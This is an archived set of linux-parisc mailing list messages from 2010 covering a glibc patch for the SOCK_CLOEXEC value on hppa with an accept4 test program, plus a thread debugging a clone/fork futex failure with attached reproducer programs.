X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 13:54:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 14:54:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbwjV-0002Ji-QJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 14:54:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753385Ab0BANy3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 08:54:29 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44679 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753297Ab0BANy2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 08:54:28 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NbwjT-0007Ix-7j; Mon, 01 Feb 2010 13:54:27 +0000
Content-Disposition: inline
In-Reply-To: <20091226182050.GH11593@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2604>

ping?

On Sat, Dec 26, 2009 at 01:20:50PM -0500, Kyle McMartin wrote:
> So I wired up sys_accept4 over lunch today... it works ok in general,
> and takes arguments such that it doesn't need a wrapper (yay.)
> 
> Problem. O_CLOEXEC is special on parisc because of the HPUX gunk which
> makes everything miserable. The value in glibc is one bit off the value
> in the kernel, and kaboom. No worky syscall.
> 
> Carlos, patch included below, tested with test_accept4.c, from Ulrich's
> commit adding this syscall, modified (fixed) version of the test case
> is attached to this email unless I'm a muppet and forgot.
> 
> Happy hacking^WHolidays, Kyle
> 
> diff --git a/ChangeLog.hppa b/ChangeLog.hppa
> index 24a152e..4ce4cc7 100644
> --- a/ChangeLog.hppa
> +++ b/ChangeLog.hppa
> @@ -1,3 +1,7 @@
> +2009-12-26  Kyle McMartin   <kyle@redhat.com>
> +	* sysdeps/unix/sysv/linux/hppa/bits/socket.h: Fix value of
> +	SOCK_CLOEXEC to match O_CLOEXEC.
> +
>  2009-11-25  Carlos O'Donell  <carlos@codesourcery.com>
>  
>  	* sysdeps/unix/sysv/linux/hppa/nptl/bits/pthreadtypes.h:
> diff --git a/sysdeps/unix/sysv/linux/hppa/bits/socket.h b/sysdeps/unix/sysv/linux/hppa/bits/socket.h
> index ac6e81b..d552d85 100644
> --- a/sysdeps/unix/sysv/linux/hppa/bits/socket.h
> +++ b/sysdeps/unix/sysv/linux/hppa/bits/socket.h
> @@ -62,7 +62,7 @@ enum __socket_type
>    /* Flags to be ORed into the type parameter of socket and socketpair and
>       used for the flags parameter of paccept.  */
>  
> -  SOCK_CLOEXEC = 02000000,	/* Atomically set close-on-exec flag for the
> +  SOCK_CLOEXEC = 01000000,	/* Atomically set close-on-exec flag for the
>  				   new descriptor(s).  */
>  #define SOCK_CLOEXEC SOCK_CLOEXEC
>  #undef SOCK_NONBLOCK

> /* test_accept4.c
> 
>   Copyright (C) 2008, Linux Foundation, written by Michael Kerrisk
>        <mtk.manpages@gmail.com>
> 
>   Licensed under the GNU GPLv2 or later.
> */
> #define _GNU_SOURCE
> #include <unistd.h>
> #include <sys/syscall.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <stdlib.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <string.h>
> 
> #define PORT_NUM 33333
> 
> #define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
> 
> /**********************************************************************/
> 
> /* The following is what we need until glibc gets a wrapper for
>   accept4() */
> 
> /* Flags for socket(), socketpair(), accept4() */
> #undef SOCK_CLOEXEC
> #define SOCK_CLOEXEC    010000000
> #ifndef SOCK_NONBLOCK
> #define SOCK_NONBLOCK   O_NONBLOCK
> #endif
> 
> #define SYS_accept4 319
> 
> static int
> __accept4(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
> {
>    printf("Calling accept4(): flags = 0x%x", flags);
>    if (flags != 0) {
>        printf(" (");
>        if (flags & SOCK_CLOEXEC)
>            printf("SOCK_CLOEXEC");
>        if ((flags & SOCK_CLOEXEC) && (flags & SOCK_NONBLOCK))
>            printf(" ");
>        if (flags & SOCK_NONBLOCK)
>            printf("SOCK_NONBLOCK");
>        printf(")");
>    }
>    printf("\n");
> 
> #if USE_SOCKETCALL
>    long args[6];
> 
>    args[0] = fd;
>    args[1] = (long) sockaddr;
>    args[2] = (long) addrlen;
>    args[3] = flags;
> 
>    return syscall(SYS_socketcall, SYS_ACCEPT4, args);
> #else
>    return syscall(SYS_accept4, fd, sockaddr, addrlen, flags);
> #endif
> }
> 
> /**********************************************************************/
> 
> static int
> do_test(int lfd, struct sockaddr_in *conn_addr,
>        int closeonexec_flag, int nonblock_flag)
> {
>    int connfd, acceptfd;
>    int fdf, flf, fdf_pass, flf_pass;
>    struct sockaddr_in claddr;
>    socklen_t addrlen;
> 
>    printf("=======================================\n");
> 
>    connfd = socket(AF_INET, SOCK_STREAM, 0);
>    if (connfd == -1)
>        die("socket");
>    if (connect(connfd, (struct sockaddr *) conn_addr,
>                sizeof(struct sockaddr_in)) == -1)
>        die("connect");
> 
>    addrlen = sizeof(struct sockaddr_in);
>    acceptfd = __accept4(lfd, (struct sockaddr *) &claddr, &addrlen,
>                       closeonexec_flag | nonblock_flag);
>    if (acceptfd == -1) {
>        perror("accept4()");
>        close(connfd);
>        return 0;
>    }
> 
>    fdf = fcntl(acceptfd, F_GETFD);
>    if (fdf == -1)
>        die("fcntl:F_GETFD");
>    fdf_pass = ((fdf & FD_CLOEXEC) != 0) ==
>               ((closeonexec_flag & SOCK_CLOEXEC) != 0);
>    printf("Close-on-exec flag is %sset (%s); ",
>            (fdf & FD_CLOEXEC) ? "" : "not ",
>            fdf_pass ? "OK" : "failed");
> 
>    flf = fcntl(acceptfd, F_GETFL);
>    if (flf == -1)
>        die("fcntl:F_GETFD");
>    flf_pass = ((flf & O_NONBLOCK) != 0) ==
>               ((nonblock_flag & SOCK_NONBLOCK) !=0);
>    printf("nonblock flag is %sset (%s)\n",
>            (flf & O_NONBLOCK) ? "" : "not ",
>            flf_pass ? "OK" : "failed");
> 
>    close(acceptfd);
>    close(connfd);
> 
>    printf("Test result: %s\n", (fdf_pass && flf_pass) ? "PASS" : "FAIL");
>    return fdf_pass && flf_pass;
> }
> 
> static int
> create_listening_socket(int port_num)
> {
>    struct sockaddr_in svaddr;
>    int lfd;
>    int optval;
> 
>    memset(&svaddr, 0, sizeof(struct sockaddr_in));
>    svaddr.sin_family = AF_INET;
>    svaddr.sin_addr.s_addr = htonl(INADDR_ANY);
>    svaddr.sin_port = htons(port_num);
> 
>    lfd = socket(AF_INET, SOCK_STREAM, 0);
>    if (lfd == -1)
>        die("socket");
> 
>    optval = 1;
>    if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &optval,
>                   sizeof(optval)) == -1)
>        die("setsockopt");
> 
>    if (bind(lfd, (struct sockaddr *) &svaddr,
>             sizeof(struct sockaddr_in)) == -1)
>        die("bind");
> 
>    if (listen(lfd, 5) == -1)
>        die("listen");
> 
>    return lfd;
> }
> 
> int
> main(int argc, char *argv[])
> {
>    struct sockaddr_in conn_addr;
>    int lfd;
>    int port_num;
>    int passed;
> 
>    passed = 1;
> 
>    port_num = (argc > 1) ? atoi(argv[1]) : PORT_NUM;
> 
>    memset(&conn_addr, 0, sizeof(struct sockaddr_in));
>    conn_addr.sin_family = AF_INET;
>    conn_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
>    conn_addr.sin_port = htons(port_num);
> 
>    lfd = create_listening_socket(port_num);
> 
>    if (!do_test(lfd, &conn_addr, 0, 0))
>        passed = 0;
>    if (!do_test(lfd, &conn_addr, SOCK_CLOEXEC, 0))
>        passed = 0;
>    if (!do_test(lfd, &conn_addr, 0, SOCK_NONBLOCK))
>        passed = 0;
>    if (!do_test(lfd, &conn_addr, SOCK_CLOEXEC, SOCK_NONBLOCK))
>        passed = 0;
> 
>    close(lfd);
> 
>    exit(passed ? EXIT_SUCCESS : EXIT_FAILURE);
> }

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Mon, 1 Feb 2010 09:11:23 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <119aab441002010611y8977762k3ce0a827b503d3f8@mail.gmail.com>
References: <20091226182050.GH11593@bombadil.infradead.org>
	 <20100201135427.GA24051@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1265033511 29359 80.91.229.12 (1 Feb 2010 14:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 14:11:51 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 15:11:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbx09-0004Tw-8O
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 15:11:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754649Ab0BAOL1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 09:11:27 -0500
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:40986 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752187Ab0BAOL0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 09:11:26 -0500
Original-Received: by wwi18 with SMTP id 18so383545wwi.19
        for <linux-parisc@vger.kernel.org>; Mon, 01 Feb 2010 06:11:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type:content-transfer-encoding;
        bh=W1i3vb126fmrsQlqqlSAyCNMp09Vi9Mn1CVNllywfJ8=;
        b=UDbdiJccFTcXBzsA1+weQ8CTzNUT69pmAfQ/+1xeeN4D0kQWrWDf4nnHU/rmu8Dwrp
         /bevYJeTfaAT5sLa1Z4NLuotXd4LQGND/5Zi7VhDCK0PRD55I/wp/IQFmIdTFzENiy0M
         +qNTIrzHUMelXFN/6pz2je+vg8K+gLTqqaMCk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=PHKB048KG5WRZSpAQC68bNErFt+Zi/OEEBezK/FYN0dIdBi6Fl4K6Bg2BjNhlIf8Zd
         CRDP30NndFe9tpdzDEeGxuaCbwknm28yt1ZCHmMjYQMIiSBBMxbkJsaGYM/Ahm4p59ek
         YNkHVPUNQ88xt1t6lEQ40j1xiXGFhCl+JnUZs=
Original-Received: by 10.216.89.73 with SMTP id b51mr2669821wef.125.1265033484213; Mon, 
	01 Feb 2010 06:11:24 -0800 (PST)
In-Reply-To: <20100201135427.GA24051@bombadil.infradead.org>
X-Google-Sender-Auth: 2d443e6fc83951fe
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2605>

On Mon, Feb 1, 2010 at 8:54 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> ping?

Thanks for the ping.

> On Sat, Dec 26, 2009 at 01:20:50PM -0500, Kyle McMartin wrote:
>> So I wired up sys_accept4 over lunch today... it works ok in general=
,
>> and takes arguments such that it doesn't need a wrapper (yay.)
>>
>> Problem. O_CLOEXEC is special on parisc because of the HPUX gunk whi=
ch
>> makes everything miserable. The value in glibc is one bit off the va=
lue
>> in the kernel, and kaboom. No worky syscall.
>>
>> Carlos, patch included below, tested with test_accept4.c, from Ulric=
h's
>> commit adding this syscall, modified (fixed) version of the test cas=
e
>> is attached to this email unless I'm a muppet and forgot.
>>
>> Happy hacking^WHolidays, Kyle
>>
>> diff --git a/ChangeLog.hppa b/ChangeLog.hppa
>> index 24a152e..4ce4cc7 100644
>> --- a/ChangeLog.hppa
>> +++ b/ChangeLog.hppa
>> @@ -1,3 +1,7 @@
>> +2009-12-26 =A0Kyle McMartin =A0 <kyle@redhat.com>
>> + =A0 =A0 * sysdeps/unix/sysv/linux/hppa/bits/socket.h: Fix value of
>> + =A0 =A0 SOCK_CLOEXEC to match O_CLOEXEC.
>> +
>> =A02009-11-25 =A0Carlos O'Donell =A0<carlos@codesourcery.com>
>>
>> =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/nptl/bits/pthreadtypes.h:
>> diff --git a/sysdeps/unix/sysv/linux/hppa/bits/socket.h b/sysdeps/un=
ix/sysv/linux/hppa/bits/socket.h
>> index ac6e81b..d552d85 100644
>> --- a/sysdeps/unix/sysv/linux/hppa/bits/socket.h
>> +++ b/sysdeps/unix/sysv/linux/hppa/bits/socket.h
>> @@ -62,7 +62,7 @@ enum __socket_type
>> =A0 =A0/* Flags to be ORed into the type parameter of socket and soc=
ketpair and
>> =A0 =A0 =A0 used for the flags parameter of paccept. =A0*/
>>
>> - =A0SOCK_CLOEXEC =3D 02000000, =A0 /* Atomically set close-on-exec =
flag for the
>> + =A0SOCK_CLOEXEC =3D 01000000, =A0 /* Atomically set close-on-exec =
flag for the
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0n=
ew descriptor(s). =A0*/
>> =A0#define SOCK_CLOEXEC SOCK_CLOEXEC
>> =A0#undef SOCK_NONBLOCK

IIUC SOCK_CLOEXEC only works in 2.6.27 or higher with accept4?

In which case, since accept4 has never existed before, it's OK to
change this value?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 1 Feb 2010 10:47:10 -0500
Organization: nrc.ca
Lines: 180
Approved: news@gmane.org
Message-ID: <20100201154709.GA27256@hiauly1.hia.nrc.ca>
References: <4B65F2AD.3060408@gmx.de> <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca> <119aab441002010458g25373efex418886aca95ff4bd@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="9jxsPFA5p3P2qPhR"
X-Trace: ger.gmane.org 1265039246 18789 80.91.229.12 (1 Feb 2010 15:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 15:47:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 16:47:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbyUg-0004Zi-5P
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 16:47:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754553Ab0BAPrO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 10:47:14 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2610 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754533Ab0BAPrM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 10:47:12 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C8F8F4FA3; Mon,  1 Feb 2010 10:47:10 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab441002010458g25373efex418886aca95ff4bd@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2606
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2606>


--9jxsPFA5p3P2qPhR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, 01 Feb 2010, Carlos O'Donell wrote:

> Do you have a copy of minifail I can run as a contained test case?

I've attached two versions -- the original and a simpler revised version.

The revised version shows that this is a clone/fork problem.  If the
parent waits for the child thread to set run before forking, the test
doesn't fail.  If the static definition of run is changed to 1, the
test fails.  I had added some loops at one time to show that this isn't
an exit issue. 

This is not to say that Helge isn't right about threads incorrectly using
exit.

The failure is always the stack of the child thread is overwritten with
zeros.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--9jxsPFA5p3P2qPhR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minifail.cpp"

#include <QtCore/QCoreApplication>
#include <QtCore/QThread>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

class MyThread : public QThread
{
	void run();
};

void MyThread::run() {
	printf("Thread OK.\n");
}

int qt_test(int argc, char** argv) {
	QCoreApplication app(argc, argv);

	MyThread thread;
	thread.start();

	int p[2];
	char buf;
	pipe(p);

	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			printf("Child OK.\n");
			write(p[1], "\0", 1);
			exit(0);
		default:
			break;
		
	}
	close(p[1]);
	read(p[0], &buf, 1);
	thread.wait();
	return 0;
}

void* thread_run(void* arg) {
	printf("Thread OK.\n");
}

int pure_test() {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	int p[2];
	char buf;
	pipe(p);

	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			close(p[0]);
			printf("Child OK.\n");
			write(p[1], "\0", 1);
			exit(0);
		default:
			break;
		
	}
	
	close(p[1]);
	read(p[0], &buf, 1);
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	if (argc == 2) {
		if (!strcmp("qt", argv[1])) {
			return qt_test(argc, argv);
		}
	}
	return pure_test();
}

--9jxsPFA5p3P2qPhR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minifail6.cpp"

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

 */

static volatile int run;

void* thread_run(void* arg) {
	static long status;
	int i;
        
	run = 1;
	pthread_yield();
	for (i = 10000000; i; i--)
	   continue;
	write(1,"Thread OK.\n",11);
	return (void *)&status;
}

int pure_test() {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	while (!run)
	  continue;
	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			_exit(0);
		default:
			break;
		
	}
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}

--9jxsPFA5p3P2qPhR--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 01 Feb 2010 20:02:02 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <4B67252A.2000501@gmx.de>
References: <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265051033 31821 80.91.229.12 (1 Feb 2010 19:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 19:03:53 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 20:03:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc1Yq-0002MY-Ue
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 20:03:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753852Ab0BATDr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 14:03:47 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58136 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753549Ab0BATDr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 14:03:47 -0500
Original-Received: (qmail invoked by alias); 01 Feb 2010 19:02:06 -0000
Original-Received: from p54AD35A0.dip0.t-ipconnect.de (EHLO halden.box) [84.173.53.160]
  by mail.gmx.net (mp025) with SMTP; 01 Feb 2010 20:02:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+1kTJ9ZTm13dN2ZLSjKeDGXN2rL2LDtIU1sGUI30
	KM9q1qX8GBTIvI
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.59999999999999998
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2607>

On 02/01/2010 01:26 AM, John David Anglin wrote:
>>>> Actually I did tested this with the minifail test program, and changed
>>>> thread_run() to call _exit(0) at the end instead of "return 0":
>>>> void* thread_run(void* arg) {
>>>>          ...
>>>> /*      return (void *)&status;  */
>>>>          _exit(0);
>>>> }
>>>> With strace I then suddenly got exit_group() which seems more correct:
>>>> [pid  1910] write(1, "Thread OK.\n", 11) = 11
>>>> [pid  1910] exit_group(0)               = ?
>
> Did this fix minifail?

No, sadly it didn't fixed it.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 1 Feb 2010 14:11:41 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20100201191141.EE51F4EA9@hiauly1.hia.nrc.ca>
References: <4B67252A.2000501@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265051512 1111 80.91.229.12 (1 Feb 2010 19:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 19:11:52 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 20:11:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc1gW-0005KI-As
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 20:11:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755257Ab0BATLn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 14:11:43 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2630 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753852Ab0BATLn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 14:11:43 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EE51F4EA9; Mon,  1 Feb 2010 14:11:41 -0500 (EST)
In-Reply-To: <4B67252A.2000501@gmx.de> from "Helge Deller" at Feb 1, 2010 08:02:02 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2608>

> On 02/01/2010 01:26 AM, John David Anglin wrote:
> >>>> Actually I did tested this with the minifail test program, and changed
> >>>> thread_run() to call _exit(0) at the end instead of "return 0":
> >>>> void* thread_run(void* arg) {
> >>>>          ...
> >>>> /*      return (void *)&status;  */
> >>>>          _exit(0);
> >>>> }
> >>>> With strace I then suddenly got exit_group() which seems more correct:
> >>>> [pid  1910] write(1, "Thread OK.\n", 11) = 11
> >>>> [pid  1910] exit_group(0)               = ?
> >
> > Did this fix minifail?
> 
> No, sadly it didn't fixed it.

I tend to think clone/fork syscalls need to be guarded to ensure a stable
configuration while the syscall executes.  It may be the problem arises
because we use clone for fork.  Do any other targets do this?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
